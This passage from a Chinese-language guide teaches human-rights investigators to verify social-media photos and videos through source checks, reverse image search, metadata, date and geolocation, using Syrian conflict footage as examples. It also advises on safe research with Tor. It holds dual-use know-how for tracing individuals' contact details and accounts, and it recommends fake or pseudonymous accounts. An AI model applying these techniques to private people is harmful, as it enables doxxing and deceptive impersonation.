- 以及一个综合性指南《在人与人之间 …… 如何从信息源的头脑中挖掘想要的情报 》

2、对于这些工具您应该知道

⚠ 下面介绍的许多工具和服务属于私人公司，并且是闭源的。这意味着，当您向这些服务上传内容时，您将无法控制这些公司如何使用这些内容，也无法控制他们与谁分享。

这些服务中的一些不便于安全连接到互联网，如果您在公共Wi-Fi网络上，这可能会让您面临风险。此外，如果您不采取保护性措施，您的位置将被这些网站收集。在本集的最后，我们将深入探讨使用开源工具进行验证的方法，以及如何在进行在线调查时保护自己。

谁、发生了什么、什么时候发生的

2014年，YouTube上出现了一段视频，内容是一名儿童被叙利亚政权枪杀。该视频被观看了800多万次。随后，该视频被 **BBC Trending** 上的一篇文章引述，"此文章称"该视频 “很可能不是假的”。

「图」

「图」

几天后，一位挪威电影导演表示，是他编排了这段视频，展示了一个 “叙利亚英雄男孩” 在枪林弹雨中的情景。这段视频是2014年5月在马

耳他拍摄的，而不是叙利亚；它是电影，而不是新闻。

⚠ 这段视频被一大群新闻机构和社交媒体活动家拿来传播，用以描述有关儿童在战争中受苦的信息。不幸的是，这在整体上产生了负面的政治影响 —— 发布这段假视频并在社交媒体上传播将使得真正的战犯更容易通过宣传 “网上的大多数视频都是假的” 来否定真正的人权虐待证据。

上述两个案例都是典型状况 —— 在这里，您很难找到内容的原始来源，也就是说，常规的信息验证方法不起作用。如果从 Facebook、YouTube、Instagram 和 Twitter 等社交媒体网站下载内容，并从不同的用户账户和渠道再次上传到同一平台，或者上传到不同的平台，扩散会非常快，难以追踪。

「图」

「图」

像 ShaamNetwork S.N.N 这样的新闻聚合商将原始上传者的内容 “收集到他们自己的 YouTube 频道上，使调查和验证更加难以找到创建者或首次分享这些内容的来源。下图显示了他们如何从 Daraya（大马士革郊区）的一个媒体中心刮取内容，显示一架直升机在投弹。

「图」

「图」

同样的事也发生在美国参议院情报委员会公布了一份播放清单里，其中包括13个最初出现在 YouTube 上的视频，该委员会曾用这些视频来寻找与2013年叙利亚大马士革郊区化学武器袭击有关的 “证据”。

其中一些视频取自叙利亚知名媒体聚合商 ShaamNetwork S.N.N 的 YouTube 频道，该频道定期转载他人频道的视频。

Storyful 的 Félim McMahon 通过使用一系列不同的验证技术发现了这些视频的原始版本 —— 包括检查视频的原始上传日期，并检查上传者的个人资料，以评估他们看起来是真人还是假的。这是一个很好的例子，说明如何利用经过验证的视频来加强对事件的调查。

核查的关键问题之一是确认 WHO 和 WHAT：

WHO ——

- 来源 ~ 谁上传的内容？

WHAT ——

- 出处 ~这是原始内容吗？
- 日期 ~ 这是什么时候采集的内容？
- 地点 ~ 此内容是在哪里采集的？

关于 WHO

在核实数字内容时，确定原始来源至关重要。人权调查者必须确认自己通过社交媒体网站和其他平台在线获得的任何信息或内容的真实性，因为它们很容易被伪造。例如，使用某个网站很容易伪造一个事件，然后截屏作为图片分享。这就是您应该首先想到的造假 —— 还记得在中国微信中热传的假 “特朗普推文” 吗？类似的工具站点还有很多。

「图」

「图」

📌 在此前的一篇文章中主要采取的就是这个思路：您需要先思考在此处造假有多容易？见《揭露假记者：一个”深度造假”信息战的案例，提醒您旧有的验证技巧正在过时》。

如上，发布者就可以将内容分享到推特上，制造出它是一条真实推文的假象。

「图」

「图」

📌 接下来我们将介绍一些工具和技术，关于如何验证那些上传或分享了您想要验证的内容的个人或组织究竟是不是您所认为的个人或组织。

首先，在核对一个账户以确认其为原始来源时，需要思考的几个问题：

1、账户持有人过去是否一直可靠？—— 不要笑，这是个非常严肃的问题。如果您仔细观察下就会知道，推特上那些传播假消息的人其关注者依旧在不断增长、他们的新发布内容依旧会获得最大量的转发和

点赞，远超过任何有意义的内容和知识，似乎人们完全不记得该账户撒谎的历史。

对于媒体也一样，企业媒体的谎言不断被揭穿，却几乎从来不会影响其订户群体的庞大规模，人们只是嘲笑谎言，然后继续阅读这些媒体的内容。“知道”并不等于“做到”，作为公民调查人员，您必须对此保持警惕。

2、上传者的总部在哪里？—— 这个思考方式就如您在思考例如VPN等软件的所属地一样，安全建议会告诉您：不要选择5、9、14眼国家的软件服务！因为这些国家很危险，他们的情报共享秘密进行，没有可靠的隐私法案可以保护您的利益。

同样，一个组织的总部和其资金来源，很可能意味着该组织受到什么样的控制，或者说，他们很有可能代表什么样的利益。

3、视频和照片的描述是否一致，且大多来自特定地点？—— 人们可能会在此造假，将不同地点来源的近似事件拼凑在一起，以强化一个虚假的杜撰故事，比如这里《深圳遭遇台风的 DragonAir 波音 737 的视频是假的，这里是为什么》。您需要分清每一个细节。

4、画面中的标志是否在所有视频中保持一致？—— 这也是对上述问题的一种判断方法。

5、上传者是否是某种视频/照片的聚合器？就如上述 ShaamNetwork S.N.N 的例子，还是只上传用户自己生成的内容？—— 中文也有这类聚合器账户，甚至推特中就有，这些账户只复制粘贴其他人发布的内容（不是转发，而是复制粘贴）让它看起来就像是该聚合器“自己的帖子”。您需要分辨这点。

6、这些账户活跃多久了？他们的活跃度如何？ —— 这其中包括对机器人和trolls 账户的判断标准：如果一个或一群账户在某个热点事件发生之初忽然创建，并针对该热点事件发布围绕固定立场的内容，以维护某些利益方的声誉，您有必要怀疑这样的账户所分享的内容。

- 不要错过《如何分辨：机器人、僵尸网络和 trolls》

7、发布者的账户中还包含哪些信息可表明账户持有人最近的位置、活动、可靠性、偏见、或议程？ —— 这点上也包含上述判断。

一旦您对上面所有问题有了一些答案，比如上传者的名字、此人的 YouTube 频道、或链接到上传者的社交媒体账户的网站，您就可以使

用工具来获得更多关于来源的信息。

验证技术：检查复选标记

Facebook、Twitter 和 YouTube 都有蓝勾来验证个人资料或页面的方法。将鼠标悬停在蓝勾上，您会看到 “已验证账户” 的文字弹出。如果没有，那就不是验证过的账号。因为，那些传播误导信息的人也可以在假账号的封面照片上添加蓝勾。

「图」

「图」

「图」

「图」

「图」

「图」

⚠ 但是，您 *不能* 依赖这些官方验证程序，因为并非所有用户都能使用，调查人员在大部分时间里都会检查那些根本不包含任何蓝勾的个人资料或网页。而且，这些验证本身也并不那么可靠—— 它只是意味着寻求认证的人 “告诉” 平台他们是谁。

验证技术：深入研究发布者的个人资料

通过检查以下内容，查看资料上现有的细节，确认是原创而非假冒：

- 是否有任何网站链接到这个个人资料上？
- 查看以前发布过的图片和视频。
- 如果该账户分享内容，它们通常是关于什么的/来自哪里的？
- 他们有多少粉丝、朋友或订阅者？
- 他们在关注谁？

比如说，有人在特定平台上分享了一段关于侵犯人权事件的 YouTube 视频。公民调查人员需要做的第一件事就是：进入该用户的 YouTube 个人资料。在下面的案例中，您会看到发布者的名字是 Yasser Al-Doumani。他每天都会上传关于叙利亚侵犯人权的视频证据，这些视频都位于大马士革郊区。您从中了解到，他是一名叙利亚记者，很可

能在大马士革郊区工作。

「图」

「图」

当您查看他的 YouTube 个人资料上的 “关于” 页面时，可以看到一些重要的信息：

- 网站链接：大马士革郊区的协调小组的 Facebook 页面关联了两个 URL，这些URL通常用于媒体工作。说明此 YouTube 频道专用于 Douma Coordination 组织。
- 订户数量：他有590个订阅者。
- 加入日期：他于2014年1月1日加入。
- 资料浏览量：他的个人资料有 281,169 次浏览。

这些信息都可以帮助您更加清楚地了解这个账号是否真实。在这种情况下，该账户是真实的。📌 可能是假账户的指标包括：最近的加入日期、很少的个人资料浏览量、较低的订阅人数、以及 “关于” 部分是否链接到其他网站。

「图」

「图」

您可以在 YouTube 上查看最初上传视频的那个人。如果您遇到一个特定的视频，您想知道这个视频的原始上传者是谁，您需要使用过滤器按上传日期排序，如下图所示。

在此案例中我们得到了一个来自社交媒体的视频，显示叙利亚伊德利卜省据称发生的化学武器袭击。通过在搜索中输入视频的标题，并按 “上传日期” 排序，就可以得到原始上传者的账户，即 “Sarmeen Coordination Group”。

「图」

「图」

正如前面所提到的，您还需要检查与他们的频道链接的网站，以及订阅者和观看者的数量，以确保这不是一个虚假的频道。

检查时，Sarmeen 协调小组有2074个订阅者，超过100万的浏览量，

在Twitter上有大约3000个追随者。在过去的四年里，他们也一直在分享该地点的视觉证据。综上所述，您可以有信心地得出结论：Sarmeen 协调小组是视频的原始来源。

验证技术：机器人识别

在 Twitter 上，有很多被称为 “机器人” 的假账户，用来传播信息、推动虚假热点，或者有时通过关注目标来监视人们。

- 在这里看到《网络水军如何不断操纵您在社交媒体上看到的内容》

大多数机器人和其他不可靠的来源，会使用偷来的其他人的照片作为他们自己的头像。比如下图中红色高亮显示的 Twitter 机器人 @LusDgrm166。

「图」

「图」

- 还有一个这样的例子 —— 通过头像调查，见《网络水军如何试图影响选举？ 一个调查案例，观察对选民的在线心理战》

迅速调查该账号的头像，发现该推特账号不可能是由人类操作的。事实上，上面截图上的所有账号都很可能不是由人类操作的。他们在推特上以 #NaturalHealing 为标签发布关于叙利亚的消息，而他们的推文内容则取自维基百科和其他网页。

复制 @LusDgrm166 的头像网址或下载头像图片后，将链接/图片粘贴到谷歌反向图片搜索中，即可在网上其他地方找到类似的图片。从下面的搜索结果中可以看到，该图片已经被很多 twitter 用户用来作为头像了。这显然是一个很粗制滥造的僵尸网络。

「图」

「图」

如果您找到了将内容上传到 YouTube、Facebook、Twitter 等网站的人的名字或用户名，可以通过一个叫 Webmii 的服务来搜索他们的名字，从网站、新闻机构和社交媒体账户中找到更多关于他们的信息。

📌 这就是跨平台追踪。关于跨平台追踪的工具，见：

- 《从跨平台跟踪到心理分析：社交媒体情报收集简易指南》
- 一个案例《追踪政府宣传战的内幕：跨平台网络分析的数字取证案例》

最重要的是，在可能的情况下，直接联系消息来源，让信息得到核实。一定要问他们是如何得知具体信息的。他们可能会向您发送额外的照片和视频，以帮您核实具体事件。一定要安全地连接到消息来源，以免让他们面临风险。

例如，您在 YouTube 上发现了一个视觉证据，但您不认识上传者。您不知道他是否是原始来源，您也不知道他是否位于拍摄视频的区域。

「图」

「图」

这样的时候您可以通过在 Webmii 上搜索其名字以获得有关此发布源的更多信息，如下所示。

「图」

「图」

您将找到他在线上载的大多数照片或视频。

「图」

「图」

您还将从他在线共享的、或其他人共享的不同社交媒体帐户中找到其他数字内容。

「图」

「图」

这将使您更好地了解这个消息来源是否可靠，特别是，如果您找到的信息能够回答上面提到的那些问题，就可以验证消息来源。

在本案例中，这个人在一个叫 Al-Safira 的城市的当地媒体中心工作。他已经在同一个地方做了很多年，这使他的可信度更高。

在您没有找到通过社交媒体平台在线上传内容的人的名字的情况下，您可以使用另一种技术来检查来源。当您正在寻找核实已经上传到网站而不是社交媒体上的信息时，通常会使用这种技术。

验证技术：Whois

如果您正在看一个网站，其中包含您想验证的信息，但该网站不包括运行它的人的名字，或者，如果您想找到更多关于运行该网站的人的信息，如他们的位置或电话号码，那么您可以使用一些简单的在线服务，提供这些信息。

当人们向域名提供商注册域名时，他们通常会要求提供一些识别性细节，包括：

- 注册网站的人的姓名
- 地址
- 电话号码
- 电子邮件（通常您可以找到清晰的电子邮件，而不是下面截图中这样的，如 username@domainname.com）。

很多网站都提供了查看所有这些注册数据的服务，比如：https://who.is/。大多数域名注册网站也提供这项服务。

下面是对目标网站运行 whois 的结果，如：www.example.org。

「图」

「图」

📌 请注意：某些域提供商会提供服务以防止此信息被公开，在其他情况下，出于隐私原因，注册人会故意掩盖个人身份信息。

其他工具如：

- dnsviz.net
- centralops.net/co/
- intodns.com
- dnsdumpster.com
- robtex.com/dns-lookup/
- whois.net
- whois.domaintools.com

- dnslytics.com
- pulsedive.com

资源：

- 《Search Tip: Finding Historic WhoIs Data》

关于WHAT

在本节中，我们将探讨三种不同的验证方法，以帮助您确定“WHAT”。这三种方法分别是出处（这段内容是否为原创、或者是否为之前发布的内容的重复）、内容采集的日期、采集内容的地理位置。找到这些问题的答案，将有助于您识别内容的真实性。

验证视觉证据

📌 如果您正在寻找照片或视频等视觉证据，则需要调查这是否是原始内容、使用方式、以及是否存在被修改后的副本。

验证技术：反向图像搜索

使用反向图像搜索工具，如 TinEye 或谷歌反向图像搜索，查找您正在寻找的图像是否曾在网上发布过。最好用的反向图像搜索工具在这里。

「图」

「图」

Tool: TinEye

- 进入 TinEye 的网站。
- 上传您想搜索的图片。这里将使用前面例子中挪威电影导演拍摄的照片。
- 选择时间倒序排列，也就是 “oldest” 进行筛选，这将引导您找到最先使用这张图片的人。您也可以按照 “Biggest Image”来排序，因为有时候最初上传的人会上传一张高质量版本的图片。在下面的案例中，您可以看到这张图片是由一个挪威在线新闻网站首先使用的。

「图」

「图」

每张图片都有附加的元数据，其中可以包括图片拍摄的设备类型、相机设置、日期和位置信息等细节。有各种免费工具可以分析照片的元数据和压缩信息，从而进一步验证图像的真实性。如果图像的元数据中包含了图像的日期和位置，还可以对其进行验证。

FotoForensics 是一个工具箱，提供一套照片分析工具。该公共网站允许查看元数据，可视化 JPEG 错误级别的可能性，并确定最后保存的 JPEG 质量。FotoForensics 不会得出任何结论。没有任何东西说 “这是PS的” 或 “这是真实的”，但该网站突出了图片中可能不可见的伪影。

您可以上传您想分析的图片以获取元数据。如果您从源头得到一张原始照片，效果会最好。在分析从 Facebook、Twitter 和 Instagram 等社交媒体网络上传的图片时，您不会得到同样的结果，因为当图片上传到他们的平台时，平台会剥离大部分元数据。

您可以在 FotoForensics 网站上上传图片，或者输入图片URL，然后点击 “元数据” 查看图片下方的信息。在本案中上传的图片来自叙利亚的 MMC marramedia 中心，该中心由该地区的活动人士运营。照片显示的是最近在伊德利卜使用的武器残骸。

「图」

「图」

然而，结果并不总是很清楚，这取决于上传文件的副本。

例如，一个被调整了大小、重新压缩或改变了原始文件的JPEG文件，其数据的可靠性会比相机直接记录的原始全分辨率图像差很多。

不过，如果一张图片是由原始作者在 Photoshop 中编辑过的，并不一定意味着它被操纵过。Izitru 工具可以帮助您弄清楚图像是否曾经被修改。

您可以在 Izitru 上上传一张图片，检查它是否被编辑过，这将帮助您确认它是一张原始图片还是被PS的。

在下面这张图片中，Izitru 表示这不是原始图片，图片已经被编辑过了。

「图」

「图」

有一种不同的技术来分析图像，这就是所谓的误差分析（ELA），这是一种鉴证方法，以确定图像的不同压缩级别的部分。您也可以通过 fotoforensics.com 来进行。

验证技术：元数据作为验证

有一些应用程序可以用来自动捕捉视频或照片的日期，以及捕捉其他重要的细节，如GPS数据。您可以在这里看到很多工具的介绍。

验证视频证据

目前还没有像反向图像搜索工具那么容易使用的视频验证工具，所以要验证视频的出处和原始来源并不那么容易。不过，有一些方法可以对视频进行反向验证，看看该视频是否在过去被使用和分享过。这就需要您在重要时刻抓取视频的截图，以获得最佳效果（抓取截图的最合适时机是事件发生时）。

另外，您也可以捕捉视频缩略图的截图，因为它可能是之前在 YouTube 或其他视频托管服务上被使用过的。然后像前面所做的那样，通过 TinEye 或 Google 图像反向搜索捕获的截图。

- 不要错过《虚假信息鉴别工具箱：如何验证图片和视频的真伪？》
- 思考方式《公民记者如何验证民间爆料视频的真实性？》
- 技巧《信息验证：如何自动反向图片搜索 YouTube 和 Vimeo 的视频？》
- 行动《突发事件来了，如何进行全面的视频信息采集？》
- 简版《10个简单技巧 快速验证社交媒体热门视频的真伪》
- 工具《如何对视频进行开源情报调查和信息验证：推荐好用的工具》

大赦国际创建了一个工具，可以帮助您实现这一技术，输入您感兴趣的 YouTube URL，如下例所示，然后选择 “转到获取缩略图”，您就可以运行反向图像搜索了。

「图」

「图」

在这种情况下，这个视频是由 ‘Abu Shadi AlSafrany’ 上传的，他在一个叫 Al-Safira 的城市的当地媒体中心工作。该视频此前没有在网上分享过，这意味着这些视频没有在不同的国家或背景下被使用过。

一旦您确认视频是唯一的，那么就必须核实事件发生的地点和日期，以确保视频不是捏造的。反向图像搜索并不总是能发现任何重复的视频或照片，所以也需要进行其他形式的验证。

验证技术：确认日期

核实日期是事实核查的重要内容之一。在网上寻找视觉证据时，需要考虑的关键问题是：

- 内容是什么时候创建的？
- 事件是什么时候发生的？

如果视频中的人提到事件发生的日期，或者展示当天的报纸，或者将日期写在一张纸上并展示给摄像机看，比如下面的例子，这就更容易了。

「图」

「图」

📌 这正是我们曾经在公民调查的相关指南中介绍过的技巧：当您获取证人证词时尤其如此，让被拍摄者说出自己的名字、当时的日期和地理位置，以避免您的视频因被篡改元数据而失去证据价值。

在叙利亚的情况下，大多数时候，YouTube 上视频的原始上传者会在视频标题上写下事件的确切日期。在大多数情况下，这是正确的日期，特别是如果您正在寻找一个经过审查和核实的来源的视频。

然而，在其他情况下并非如此，如果不加入其他方式来确认 —— 如查看事件发生期间的天气特征或与拍摄原始镜头的人联系，并获得附带元数据的原始照片/视频，以验证事件的日期 —— 这也是一个挑战。

在2013年8月21日大马士革发生的化学袭击事件中，叙利亚的媒体活动家在 YouTube 上上传了数百个视频。这些上传的视频被指责为 “捏造”，因为活动家上传的 YouTube 视频日期为2013年8月20日，而活

动家却说袭击发生在2013年8月21日。📌 之所以会发生这种情况，是因为 YouTube 根据太平洋标准时间(PST)而不是东欧时间(EET)来标注视频的时间和日期，在这种情况下，这一点非常重要。

「图」

「图」

从照片/视频中查看天气（如果可能的话）是确认事件日期的另一个有用的方法。

以下是 Al-Aan 电视台发布的一段视频，声称由于下雪，叙利亚少数地区的冲突已经停止。

「图」

「图」

要验证这一点，在 WolframAlpha 网站上输入 YouTube 视频发布的同一日期，如下所示，以查看当日的天气是否确实下雪了。

「图」

「图」

如上所述，您可以根据类似的天气情况，验证 YouTube 上发布的日期是否正确。当然，这是个非常粗略的检查，因为世界各地的天气状况规律有很多区别，比如在莫斯科那样的地方，有可能连续一个礼拜都在下雪。

验证技术：确认位置

对视觉证据进行地理定位的过程对于核实您找到的证据是否在它声称的地点至关重要。在可能的情况下，Open Street Map、Google Earth、Google Maps、Wikimapia 和 Paronamio 等地图平台将帮助您找到这些材料。📌 地理定位的关键问题是收集尽可能多的图像，并将它们全部用于核实，因为只从一个镜头中核实一个事件会比较困难。

- 不要错过重要内容！关于地图使用的完整指南：《如何拥有上帝的眼睛：监视、追踪、导航、回溯、阴影识别…… 这是您需要了解的一切—最大限度挖掘地图的能力 *完整手册*》

确认位置时您需要考虑以下这些细节：

- 车辆的车牌号码
- 学校、医院、宗教场所、塔楼等地标性建筑
- 衣服的种类
- 照片中可识别的商店或建筑物
- 镜头中的地形/环境类型（山地、河流、城市、商业区、荒漠、植被 ...）

验证技术：车牌

在本案中，想确定的是一名疑似 ISIS 成员的位置。多年来，她在一个社交媒体账户上发布了许多来自南美洲圭亚那的照片。为了确认她确实在圭亚那，调查人员查看了一张车牌清晰可见的图片。这张照片中的白色汽车的车牌号为 BMM-5356。

「图」

「图」

通过 Wikipedia 搜索此车牌号时发现了以下页面，已经可以确认这些特定的车牌号与圭亚那的车牌匹配。

「图」

「图」

验证技术：查看地标

当您试图对视觉证据进行地理定位时，查看学校、医院、塔楼和宗教建筑等地标，非常有帮助。在 Wikimapia、Google Earth、Panoramio 和 Google Maps 等地图平台上有成千上万的照片标记，可用于对证据进行地理定位。

在 Wikimapia 上搜索“学校”，会返回该地区的所有学校，如下图所示。

「图」

「图」

Panoramio 的工作方式有所不同。它会显示特定区域中所有标记到 Google Maps 的照片。

「图」

「图」

通过这两项服务，您可以找到有助于您对证据进行地理定位的照片，如下图所示。您可以看到 Panoramio 的一张截图，是通过该网站找到的一家商店的照片。照片中包括商店的电话号码和一块小板，上面有完整的地址。

「图」

「图」

一旦您找到疑似证据的位置，谷歌地球就可以很好地帮助您确认这里是否确实是实际位置。

使用谷歌地球：

- 看建筑结构
- 看地形
- 查看谷歌卫星图像历史记录

验证技术：查看结构

以下是一名活动人士拍摄的清真寺图像，他声称该清真寺位于伊德利布省的 Jisr al-Shughur。在谷歌地球上找到这座清真寺，并将卫星图像中的结构与该活动人士提供的图像进行对比，以确保它确实位于声称的位置。

「图」

「图」

通过检查卫星图像中目标地点的地形来核实位置。

以下是泄露的数千张描绘叙利亚监狱中侵犯人权行为的照片中的一张。泄露的照片是通过查看下面的卫星图像进行地理定位的，请注意地形，它显示了有通讯塔的山丘。

「图」

「图」

验证技术：使用Google历史卫星图像

以下是2010年和2013年阿勒颇的图片。您可以清楚地看到被损坏的地区。这可以帮助您对这一地区的街道进行地理定位，您可以看到损坏/攻击前的图像。

「图」

「图」

「图」

「图」

从上述例子可以看出，技术已经改变了我们寻找和处理消息来源和信息的方式，这得益于目击者和活动家在社交媒体和博客上实时分享事件的文字、照片和视频。这可以帮助人权调查者通过使用不同的技术和工具，通过视觉证据核实正在发生的事。在使用这些工具之前，您应该先阅读以下内容，它们非常重要。

如何尽可能安全地进行在线调查

正如您在本集前面所看到的那样，使用在线搜索工具和调查技术可以非常有助于验证用户生成的数字内容，如照片和视频。但是，在进行在线调查之前，您需要考虑与此相关的安全问题。

📌 一些重要的问题是：

- 您正在进行的调查有多敏感？如果有人知道您正在进行这项调查，您是否会面临风险？参与这项调查的其他人也会面临风险吗？
- 您正在处理和核实的视频和照片有多敏感？如果有人看到您持有这些资料，是否会给您带来风险？您在出行过程中携带这些材料是否安全？
- 您是否了解您使用来验证内容真伪的在线工具的安全情况和服务条款？您知道这些工具/平台是否会将您上传的内容与第三方分享吗？

- 在进行在线调查时，您是否安全地连接到互联网，使连接到同一Wi-Fi网络的人无法看到您正在看的东西？
- 在进行网上调查时，您是否隐藏了自己的位置，使您所访问的网站无法收集到日后可能识别您身份的信息？

📌 具体做法详见 “难以被追踪” 系列，👈 此链接为该系列内容的最后一集，其中包含该系列完整列表。

以上这些基本问题都是您在使用在线工具和云服务进行调查之前需要思考的。下面我们将通过基本步骤来介绍您可以如何尽可能安全地进行在线调查；还将介绍一些可以使用的开源工具来代替商业化的专有软件进行调查。

开源工具指的是让您可以审查它们是如何构建出来的工具，所以您或您认识的技术专家可以了解到其中是否存在任何侵犯了您的安全和隐私的东西。商业软件不会让您这样做，所以您将无法了解它是否尊重您的隐私，您无法知道使用它是否安全。

安全进行在线调查的基本步骤

步骤1：安全连接到互联网

确保您安全地浏览网站，包括那些您正在调查的网站和那些您只是在审查的网站。在可能的情况下，可以通过SSL（安全套接字层）对您与这些网站的通信进行加密。

请注意：有些站点不支持安全通信，所以人们可以看到您访问的网站，以及您发送的信息（登录信息、文本、照片、视频等）。如果您在使用Wi-Fi网络的公共空间工作，这可能是非常危险的。

步骤2：使用Tor隐藏您的身份

您在浏览网站、社交媒体和使用在线验证工具进行调查时，会留下很多痕迹。您所访问的大多数网站都会收集您的信息，比如通过您的IP地址收集您的位置、您的浏览器指纹、您用来上网的设备（手机、平板电脑或电脑）、您的设备的唯一识别号码（MAC地址）、您在线访问的网站、您在特定页面上停留的时间等等。

所有这些被收集到的信息都可以创建一个关于您的详细档案，使您的身份得以识别。重要的是要确保您是安全地、匿名地浏览互联网，如

果您不想让自己：

- 与黑客连接到同一个Wi -Fi网络让恶意者看到您正在做什么
- 被您所访问的网站收集有关您的信息
- 被您的互联网服务提供商看到您在网上做什么，他们和政府密切合作

您可以通过安装和使用Tor浏览器进行在线调查；您也可以使用Tails，这是一个操作系统，允许您在互联网上保持匿名。

步骤3：尽可能使用更安全的工具进行验证和调查

我们曾经总结了一个开源工具列表，替代那些不透明的专有软件，以保护您的安全，在这里看到《安全工具箱补充版：分类工具列表（2）》。以下则是一些专门用于调查的开源工具替代品。

1、确认信息来源的工具

我们称之为 “对人的追踪”。当然，您肯定想到了 —— **Maltego**，它是最厉害的。您可以使用 Maltego 来代替 Pipl 和 Webmii 等云服务来获取更多信息，如：社交媒体上的目标账户、相关网站、电话号码、特定来源的电子邮件地址等，从而验证目标人的真实身份。

Maltego 是一款适用于 Windows、Mac 和 Linux 的程序，它可以用来收集和可视化汇总互联网上发布的信息，这对在线调查很有帮助。一旦掌握它您就会发现这个工具非常趁手，但对于第一次使用的人来说，它相当复杂，所以要准备投入一些时间。

📌 关于 Maltego 请参见下面的文章：

- 案例《如何使用 Maltego 监测推特上的政府信息战》
- 专业级《间谍机构使用的开源情报监视方法：指南》
- 基础篇《安装 Kali Linux 之后要做的10件事》
- 技巧《巧用互联网，以找到您最想要的信息：搜索思维作为基本功》
- 开端《社交工程工具用于开源情报调查：0基础初学者指南》
- 实用《社交网站上进行新闻收集和监视的基本指南》
- 防御思路《如何挖掘目标人社交关系网？- 连锅端利器》
- 防御思路《攻击者如何收集有关目标的情报？他们能了解你多少？》

2、元数据工具

考虑将 **ExifTool** 作为 FotoForensics 的替代方案，通过使用 ExifTool，您不需要将照片上传到公司的云服务。一切都在您的电脑上完成，没有第三方参与。

然而，使用 ExifTool 也有缺点。首先，它不支持错误级别分析，其次，ExifTool 是一个命令行应用程序，所以它没有图形用户界面。使用和安装都很方便，但您需要一点时间来习惯它。

关于 ExifTool，见：

- 作为防御《在雷达下低飞：变得难以被追踪的简单方法（7）》
- 作为利用《都是工具，从自我保护到有效利用—— 亦正亦邪元数据（下篇）》
- 同类工具列表《超级情报收集工具库：开源验证和调查工具及使用方法》

3、确认位置的工具

谷歌地图和谷歌地球是验证位置和地理定位目标事件的最常用工具。但是，您在谷歌地球和谷歌地图上所做的一切，一旦您登录，就会连接到您的Gmail上，这意味着监视者可以知道您正在寻找特定的地点进行核实。如果这个地点是政治敏感的 —— 比如新疆、天津爆炸地点、叙利亚战区、秘密间谍机构总部 ……

如果您想在不暴露真实邮箱的情况下使用谷歌地球和谷歌地图进行调查，请使用一个独立于您个人的假名 Gmail 账户 —— 这个账户只用于这一次调查，用后即弃。这将使您更难被识别为从事特定调查的人。

- 在此，更多详细技巧介绍《某些行动者，你需要一个袜子木偶》

您也可以使用 OpenstreetMap 和 Wikimapia 来验证位置，而不是谷歌地图。同样，请确保您不必使用自己的个人电子邮件登录。

4、反向图像搜索

不幸的是，目前没有可用的开源工具可以与 TinEye 或 Google 反向图像搜索所提供的功能相一致。但是，如果您需要开源反向图像工具，

以下这些是一个不错的起点：

- Lire Project
- Gift
- Anaktisi

步骤4：与您的信息来源进行安全通信，以免使他们或您自己面临风险

在与敏感的目击者交流在线调查的时候，很容易让您自己和信息源处于风险之中，尤其是当您在调查一个敏感事件的时候。请确保您与信息源安全地沟通，并确保您自己也安全地分享数据。

您可以安装一些易于使用的工具，如 Signal，用于更安全的通信，miniLock 或 onionshare 用于安全的文件共享。

步骤5：始终备份信息

确保备份您找到的所有相关内容、您访问的网站、社交媒体账户、和您与信息来源的对话。您在网上找到的照片和视频等视觉证据可能会因为很多原因从互联网上消失。

备份您在网上找到的所有内容，这样即使它不再在线，您以后也可以访问它进行验证和分析。📌 如果您需要保留证据，以证明对方曾经发布了这一内容 —— 即便内容已经被彻底删除，请参见下面介绍的技巧：

- 《留下证据：如何存档开源材料？》
- 《手慢无：如何抢在信息被遮挡、污染或完全消失之前捕获它们？》

如果您没有来得及存档，可以参见下面的指南，是一系列补救措施：

- 《如何快速找到你想要的东西：追踪数字证据的小技巧》

您也可以使用基于云的服务来备份网站和社交媒体账户，比如。

- Archive.is
- Archive.org

档案馆将为您提交的每个页面提供一个ID。将代码复制到您本地计算

机上的文件中，这样您就可以在以后回到您想要分析的页面。

您可以用一个叫 VeraCrypt 的工具在您的电脑上加密这个文件，这样除了您之外就没有人能够打开它。

注意：确保您使用上述在线档案通过Tor浏览器隐藏您的位置。

📌 我们的 列表-3 “技术防身”，和列表-5 “护盾” 两个板块中有很多安全知识介绍；“变得难以被追踪” 系列是一个通览。以及，在我们上传书籍的页面点击标签 “安全”、以及标签 “隐私”，以找到更多相关书籍。

在线出版

尽管一些社交网站提供了用于协作发布和传播您的研究成果的强大工具，但是在利用这种媒介时，有几点需要牢记：

1、请仔细阅读《最终用户许可协议》以及隐私和数据使用政策。关于他们会如何处理您的内容和个人数据？它们与谁共享？

无法保证他们完全遵照协议和政策的条款（至少您无法保证他们不会被骇客入侵），但是任何时候您提前了解这些隐私政策都是非常好的选择，万一您遭受侵犯，这些条款可作为法律依据帮助您的申诉。

2、您还需要了解：谁拥有您上传到他们服务器上的知识产权？您是否愿意授予社交网络或在线平台的所有者对您的研究的所有权？

3、该社交网络的服务器位于何处，受到哪些司法管辖？他们是否会迫于政府和间谍的压力而交出您的信息？

4、您可能希望使用社交网站作为互动发布平台，以征求反馈、辩论、传播调查结果或收集信息。您应该考虑是否有必要将这些活动与您的个人 Facebook 账户联系起来，或者，是否最好能创建一个与您本人完全无关的假账户，通过匿名工具访问，以便更好地保护自己。

- 📌 请参考这里的判断标准！《您在什么时候需要假名、匿名和公开在线身份？– 在线创建和管理身份的思考方式》

关于做法，见：

- 《如何建立一个匿名社交媒体账户以保护个人数据的私密性？》

- 在构建假身份时的注意事项《角色扮演：行动者刚需》
- 《如何快速创建一个假人？简易版分身术—调查人员使用》
- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》

5、请记住，您在社交网站上做的每一件事都会留下痕迹，如果有法律要求，这些痕迹就会被移交，而且很容易被泄露。您应该考虑泄露自己的详细资料、工作流程、敏感信息或联系人和消息来源的风险是否真的值得。

6、在使用其他发布工具时，如 WordPress、Blogger 或 YouTube 时，也应做出类似的考虑。要知道您交给这些服务提供商的信息以及您留下的痕迹。如果匿名性对您很重要，请采取必要的措施来确保自己。

7、如果您打算以PDF或Office格式发布图片或文件，要注意元数据。您可能需要通过限制您在注册硬件和软件产品时提供的有关您自己的信息，以及调整数码相机或智能手机上的设置（如GPS）来减少文件中的可识别元数据的数量。

- 不要错过《如何从 Microsoft Office 文档中完全删除那些暴露你身份的元数据？》

请记住，当您注册一个网站时，特别是当您用信用卡支付时，这些信息都会被链接到您的身份。如果避免这种情况对您来说很重要，可以考虑让别人为您注册域名，或者考虑使用Tor隐藏服务来托管您的网站。所有这些决定都是为了找到合适的平衡点 —— 我们必须意识到，使用匿名服务也可能会引起怀疑。

使用在线工具

